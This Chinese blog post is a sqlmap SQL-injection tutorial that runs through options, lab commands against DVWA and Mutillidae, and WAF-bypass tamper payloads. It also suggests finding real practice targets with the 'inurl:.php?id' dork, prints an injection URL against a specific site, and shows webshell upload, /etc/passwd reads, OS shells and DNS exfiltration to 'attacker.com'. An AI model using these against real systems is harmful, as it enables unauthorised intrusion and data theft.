sqlmap 基本使用手册

Sqlmap基本使用手册

最近在学习如何更好地使用sqlmap,操作是在kali上进行的,遇到了一些问题,同大家分享。

kali下sqlmap升级

进入到sqlmap的安装目录

cd /usr/share/sqlmap

初始化仓库

git init

添加sqlmap地址

git remote add origin https://github.com/sqlmapproject/sqlmap.git

最后执行sqlmap -update

SQLMAP介绍

开源sql注入漏洞检测、利用工具;

检测动态页面中get/post参数、cookie、http头

自动数据榨取

实现文件系统访问,上传木马,提权;

操作系统命令执行

引擎强大、特性丰富

xss漏洞检测

五种漏洞检测技术

1.基于布尔的盲注检测:‘ and ‘1’=‘1 .。。。

2.基于时间的盲注检测:’and (select * from (select (sleep(20)))a) – 依据服务器响应时间长短来判断

3.基于错误的检测,判断是否存在注入

4.基于UNION联合查询的检测

5.基于堆叠查询的检测:用“;”执行多个语句;

其他特性:

a.数据库直接来链接 -d

b.与burpsuit、google结合使用,支持正则表达式限定测试目标

c.get/post cookie。。。更新信息

d.支持限速,最大并发,延迟发送,

e.支持身份认证

f.数据库版本、用户、权限、hash枚举、字典破解、暴力破解表列名称

g.文件上传下载、访问windows注册表、操作系统执行命令、UDF、启动并执行存储过程

h.与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门

sqlmap 命令使用:

参数 说明
-v 3 可以显示注入的payload;(4,5,6可以显示HTTP请求,HTTP响应头和页面)
-d 链接数据库相当于数据库管理客户端
-u 完整url路径
-l 从日志文件中进行查找注入点
-x xml文件形式提交给sqlmap
-m 将多个url放在一个文件里面进行
-g 用google搜索,扫描
-c 配置文件(将所有信息保存的到此中)
– banner 查看详细版本

其他具体命令在下面的实战演示中查看;

实践

sqlmap -u "http://192.168.71.128/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username -f
命令详解

-u 制定的url地址,-p指定扫描的对象,-f检查数据库中的

指纹(fingerprint) 显示mysql版本等;

-p username –users :当前数据库有那些账号

– banner 查看详细版本

–dbs 查看所用库

–schema 源数据库和源数据表

-a 查看数据库基本的信息(all)

直接链接数据库,:sqlmap -d ‘mysql://root:@192.168.71.128:3306/dvwa’ –users/-a


POST方法(http头信息,代理保存日志文件):

使用http请求文件(burpsuit)

将请求头存在一个txt文件中(txt文件做好用gedit编辑保存,然后

用sqlmap -r *.txt –dbs进行检测

还可以通过burpsuit的获取og.txt(option–>misc–>log–>proxy)文件

进行sqlmap检测:sqlmap -l log.txt -p username

可以通过https:sqlmap -u “https://1.01.1.1/a.php?id=1:8843” –force-ssl

扫描配置文件

sqlmap -c sqlmap.conf


sqlmap命令request部分

数据段:–data

get/post 都适用

sqlmap -u "http://192.168.188.128/mutillidae/index.php" --data="page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"

变量分隔符:当分隔符不是&,可以使用–param-del命令

sqlmap -u "http://192.168.188.128/mutillidae/index.php" --data="page=user-info.php;username=1;password=1;user-info-php-submit-button=View+Account+Details" --param-del=";" -f

cookie头: –cookie

web应用需要基于cookie的身份认证(需要登陆后检查是否有注入的情况);检查cookie中的注入点(level必须>=2 才#,sqlmap自动测试);Set-Cookie(更新新的cookie)/-drop-set-cookie(不更新cookie)

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。

如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。

当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数

sqlmap -u "http://192.168.188.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=8deb3a04fea16ebe956b2dd435bf88f0" --dbs

vulnerable:易受攻击的,有注入;


–user-agent(默认情况不会随机)

–random-agent (将会在指定文件(/usr/share/sqlmap/txt/user-agents.txt)中随机选取)

sqlmap -u "http://192.168.188.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=8deb3a04fea16ebe956b2dd435bf88f0" --random-agent --dbs

也可以自己写:–user-agent=”aa”

服务器端有可能用APP/WAF/.PF/IDS进行过滤异常user-agent产生报错信息

sqlmap level>=3可以扫描是否有user-agent注入漏洞;

Host头:

–host=“xxx ”

–level=5可以检测host是否存在sql注入漏洞

referer头:(显示跳转前的网址)

–referer=“xxx”

–level>=3可以检测referer是否存在sql注入漏洞

headers自定义的头:

–headers=”Host:www.abs.com\nUser-Agent:jdsklfjjfds\nxxx”(头的名字必须严格大小写,规定每个头单独一行(加“\n”换行)

method:(指定http方法进行sqlmap)

–method=GET/POST


基于HTTP协议的身份验证(Basic、Digest、NTLM)

sqlmap -u “xxx” –auth-type Basic –auth-cred “user:pass”

基于客户端证书认证(网银)然后再sql注入

–auth-cert/–auth-file + PEM格式的证书

(含有私钥的PEM格式证书文件、PEM格式的证书链文件)

http(s)代理

–proxy=“http://127.0.0.1:8087

–proxy-cred=”name:pass”(链接代理需要的账户密码)

实战练习:在搜索引擎中输入:inurl:.php?id…找这样的网站

–ignore-proxy:忽略系统级代理设置,通常用于扫描本地网络目标


–delay

每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟

–timeout

请求超时时间,浮点数,默认时间为30秒

–retries:

http(s)链接超时重试次数,默认3次

–randomize:

长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名

sqlmap -u “http://xxx.php?id=100” –randomize=”id”

–scope(范围)

过滤日志内容,通过正则表达式筛选扫描对象

sqlmap -l burp.log –scop=”(www)?.target.(com|net|rog)” –level=”3” –dbs 检测user-agent中的注入点

–safe-url/–safe-freq

检测和盲注阶段会产生大量失败情况,服务器端可能因此销毁session,所以每发送–safe-freq次注入请求后,发送一次正常请求

–skip-urlencode(不需要输入任何参数)

默认Get方法会对传输的内容进行编码,某些web服务器不遵守RFC标准编码,使用原始字符提交数据,就需要跳过urlencode

–eval

每次请求前执行指定的python代码

每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)

slqmap -u “http://xxx?id-xxx&hash=xxx” –eval=”improt hashlib;hash=hashlib.md5(id).hexdigest()”


优化性能(OPTIMIZATION)

–predict-output

1.根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率

2.版本名、用户名、密码、Privileges(优先级)、role、数据库名称、表名、列名

3.与–threads参数不兼容

4.统计表的位置:/usr/share/sqlmap/txt/common-outputs.txt

–keep-alive

使用http(s)长链接,性能好(正常情况,每访问网站的元素都会产生新的连接关系)

与–proxy参数不兼容

长连接避免重复建立链接的网络开销,但大量长连接会严重占用服务器资源

–null-connection

只获取相应页面的大小值,而非页面具体内容

通常用于盲注判断,真/假,降低网络带宽消耗

与–text-only 参数不兼容(基于页面内容的比较盘判断 真/假)

以上三个可以通过-o命令全部打开

–threads

最大并发线程

盲注时每个线程获取一个字符(7次请求),获取完成后线程结束

默认值为1,建议不要超过10,否则可能影响站点可用性

与–predict-output参数不兼容


INJECTION

-p

指定扫描的参数

如:-p “user-agent,referer”

–skip

排除指定的扫描参数

如:–level=5 –skip=”id,user-agent”

URI注入点

sqlmap -u “http://xxx/param1/value1/param2/value2/”(不使用?来分隔键/值对时,通过人工分辨出那个是参数名那个是变量,在变量的后面加上,进行正常playload检测注入即可)

–dbms=“mysql”(可以加版本号)

提高查找数据库类型的效率

–os指定服务器系统,提高sqlmap效率

–invalid-bignum/–invalid-logical

通常sqlmap使用负值使参数取值失效 id=13–>id=-13

bignum 使用大数使参数失效 id=99999999

logical 使用布尔判断使取值失效 id=13 AND 18=19

–no-cast

榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果

老版本mysql数据库需要开启此开关

–no-escape

出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串:select ‘foo’ –>select char(102)+char(111)+char(111)

本参数将关闭此功能

–prefix/–suffix(前缀和后缀)

img

–tamper

混淆脚本,用于绕过应用层过滤、IPS、WAF

sqlmap -u “http://xxx?id=1” –tamper=”*.py” -v 3 –dbs

空格被过滤可以用space2comment.py,大小写敏感可以用randomcase.py等


DETECTION(检测)

–level

1-5级(默认1)

/usr/share/sqlmap/xml/payloads

–risk

1-4(默认1/无害)

risk升高可造成数据被篡改风险(update)

–string –not-string –regexp –code –text-only –titles

页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要认为指定标识真假的字符串


TECHNIQUES SQL注入检测类型

默认使用全部技术

B、E、U、S、T

当需要注入文件系统、操作系统、注册表时候,必须使用S(Stacked queries)

–time-sec

基于时间的注入检测相应延迟时间(默认5秒)

–union-cols

默认联合查询1-10列,随–level增加最多支持50列

–union-char

联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值

例如:–union-char 123

–dns-domain

攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度

例如:–dns-domain attacker.com

–second-order

在一个页面注入的结果,从另一个页面体现出来

例如:–second-order http://xxx


FINGWEPEINT(指纹信息)

-f,–fingerprint,-b,–banner

数据库管理系统指纹信息(版本信息)

DBNS、操作系统、架构、补丁


ENUMERATION(枚举)

–currnet-user

–current-db

–hostname

–users

–privileges -U username(CU当前账号)

–roles

–dbs

–tables,–exclude-sysdbs(除去系统层面的数据库) -D dvwa

-T user -D dvwa -C user –columns

–count 表中一共有多少条记录

–batch sqlmap执行过程中自动选择选项

–schema –batch –exclude-sysdbs 元数据(使用默认选项)

Dump (导出)显示数据

–dump -C -T -D –start –stop(从那一条开始到那一条暂停)

–dump-all –exclude-sysdbs

–sql-query“select * from users”

数据将会保存到本地


BRUTE FORCE(无权读取库时候,暴力破解)

–common-tables

–common-columns


UDF INJECTION(用户自定义函数)

可以执行操作系统层面的命令

编译共享库创建并上传至DB Server,以此生成UDF实现高级注入

linux:shared object

windows:DLL

FILE SYSTEM

--file-read=“/etc/passwd"读取服务器中文件

--file-write="shell.php" --file-dest="/tmp/shell.php"上传文件到目标服务器

---

OS(通过sqlmap执行系统命令)

mysql、postgresql

上传共享库并生成sys_exec()、sys_eval()两个UDF

mssql

xp_cmdshell存储过程(有就用,禁了启、没有建)

–sql-shell

–os-shell

–os-cmd


WINDOWS REGISTORY(windows注册表)

–reg-read

–reg-add

–reg-del

–reg-key

–reg-value

–reg-data

–reg-type

sqlmap -u “http://xxx” –reg-add –reg-key=”xxx” –reg-value=”xxx” –reg-type=”xxx” –reg-data=”xxx”


GENERAL

-s:sqlite会话文件保存位置

-t:记录流量文件保存位置

–charset:强制字符编码

–crawl:从起始位置爬站深度

–csv-del:dump数据默认存于“,”分割的csv文件中,可以通过–csv-del指定其他分隔符

–dbms-cred:指定数据库账号

–flush-session:清空session(会话)

–force-ssl 支持(https协议)

–fresh-queries:忽略session查询结果(重新查询)

–hex:dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原

–output-dir=/tmp :指定输出路径

–parse-erros:分析和显示数据库内建报错信息

–save 将命令保存成配置文件

-z:参数助记符

–answer指定答案给batch进行自动化批处理

–check-waf:检测WAF/IPS/IDS

–hpp:绕过WAF/IPS/IDS的有效方法

尤其对ASP/IIS和ASP.NET/IIS

–identifuy-waf:彻底的waf/ips/ids检查

支持30多种产品

–mobile:模拟智能手机设备

–purge-putput:清除output文件夹

–smart:当有大量检测目标时,只选择基于错误的检测结果

–wizard:导向作用(一步步指导怎么做)


https://www.tchg.online/wp-content/1.php

?id=-1’)//union//select/**/user(),2,3%23

“%23”相当于“#”号,将后面语句注释掉,必须使用%23表示


tamper脚本函数

支持的数据库 编号 脚本名称 作用 实现方式
all 1 apostrophemask.py 用utf8代替引号 (“1 AND ‘1’=’1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
2 base64encode.py 用base64编码替换 (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’
3 multiplespaces.py 围绕SQL关键字添加多个空格 (‘1 UNION SELECT foobar’) ‘1 UNION SELECT foobar’
4 space2plus.py 用+替换空格 (‘SELECT id FROM users’) ‘SELECT+id+FROM+users’
5 nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters (‘1 UNION SELECT 2–’) ‘1 UNIOUNIONN SELESELECTCT 2–’
6 space2randomblank.py 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 (‘SELECT id FROM users’) ‘SELECT%0Did%0DFROM%0Ausers’
7 unionalltounion.py 替换UNION ALL SELECT UNION SELECT (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’
8 securesphere.py 追加特制的字符串 (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having’”
mssql 1 space2hash.py 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) ‘1 AND 9227=9227’ ‘1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227’
2 equaltolike.py like 代替等号
    Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
3 space2mssqlblank.py(mssql) 空格替换为其它空符号 Input: SELECT id FROM users Output: SELECT%08id%02FROM%0Fusers
4 space2mssqlhash.py 替换空格 (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’
5 between.py 用between替换大于号(>) (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’
6 percentage.py asp允许每个字符前面添加一个%号
    Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
7 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 (‘1 AND 9227=9227– ‘) ‘1 AND 9227=9227– sp_password’
8 charencode.py url编码
    Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
9 randomcase.py 随机大小写
    Input: INSERT * Output: InsERt
10 charunicodeencode.py 字符串 unicode 编码
    Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
11 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’
    Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
mysql >= 5.1.13 1 equaltolike.py like 代替等号
    Input: SELECT * FROM users WHERE id=1 2 * Output: SELECT * FROM users WHERE id LIKE 1
2 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’
3 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
4 ifnull2ifisnull.py 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ (‘IFNULL(1, 2)’) ‘IF(ISNULL(1),2,1)’
5 space2mssqlhash.py 替换空格 (‘1 AND 9227=9227’) ‘1%23%0AAND%23%0A9227=9227’
6 modsecurityversioned.py 过滤空格,包含完整的查询版本注释 (‘1 AND 2>1–’) ‘1 /!30874AND 2>1/–’
7 space2mysqlblank.py 空格替换其它空白符号(mysql) Input: SELECT id FROM users Output: SELECT%0Bid%0BFROM%A0users
8 between.py 用between替换大于号(>) (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’
9 modsecurityzeroversioned.py 包含了完整的查询与零版本注释 (‘1 AND 2>1–’) ‘1 /!00000AND 2>1/–’
10 space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) (‘1 AND 9227=9227’) ‘1–%0AAND–%0A9227=9227’
11 bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like (‘SELECT id FROM users where id = 1’) ‘SELECT%09id FROM users where id LIKE 1’
12 percentage.py asp允许每个字符前面添加一个%号
    Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
13 charencode.py url编码
    Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
14 randomcase.py 随机大小写
    Input: INSERT * Output: InsERt
15 versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment
    Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))# * Output: 1/ !UNION*!ALL**!SELECT**!NULL*/,/ !NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/ !AS*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
16 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’
    Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
17 charunicodeencode.py 字符串 unicode 编码
    Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
18 versionedmorekeywords.py 注释绕过
    Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/ !UNION*!ALL**!SELECT**!NULL*/,/ !NULL/,/ !CONCAT/(/ !CHAR/(58,122,114,115,58),/ !IFNULL/(CAST(/ !CURRENT_USER/()/ !AS*!CHAR*/),/ !CHAR/(32)),/ !CHAR/(58,115,114,121,58))#
MySQL < 5.1 19 halfversionedmorekeywords.py 关键字前加注释
    Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa * Output: value’/ !0UNION/!0ALL/ !0SELECT/!0CONCAT(/ !0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/ !0CURRENT_USER()/!0AS/ !0CHAR),/!0CHAR(32)),/ !0CHAR(58,97,110,121,58)), NULL, NULL#/!0AND ‘QDWa’=’QDWa
20 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 1.(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”) 2.”value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa”
MySQL >= 5.1.13 21 space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
    Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Oracle 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
3 between.py 用between替换大于号(>) (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’
4 charencode.py url编码
    Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
5 randomcase.py 随机大小写
    Input: INSERT * Output: InsERt
6 charunicodeencode.py 字符串 unicode 编码
    Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
7 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’
    Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
PostgreSQL 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 (‘1 AND A > B’) ‘1 AND GREATEST(A,B+1)=A’
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper(“1 AND ‘1’=’1”) ‘1 AND %00%271%00%27=%00%271’
3 between.py 用between替换大于号(>) (‘1 AND A > B–’) ‘1 AND A NOT BETWEEN 0 AND B–’
4 percentage.py asp允许每个字符前面添加一个%号
    Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
5 charencode.py url编码
    Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
6 randomcase.py 随机大小写
    Input: INSERT * Output: InsERt
7 charunicodeencode.py 字符串 unicode 编码
    Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
8 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’
    Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users
Access 1 appendnullbyte.py 在有效负荷结束位置加载零字节字符编码 (‘1 AND 1=1’) ‘1 AND 1=1%00’
其他 chardoubleencode.py 双url编码(不处理以编码的)
    Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
unmagicquotes.py 宽字符绕过 GPC addslashes
    Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20
randomcomments.py 用/**/分割sql关键字 ‘INSERT’ becomes ‘IN//S//ERT’

猜你喜欢

转载自blog.csdn.net/hardhard123/article/details/79755486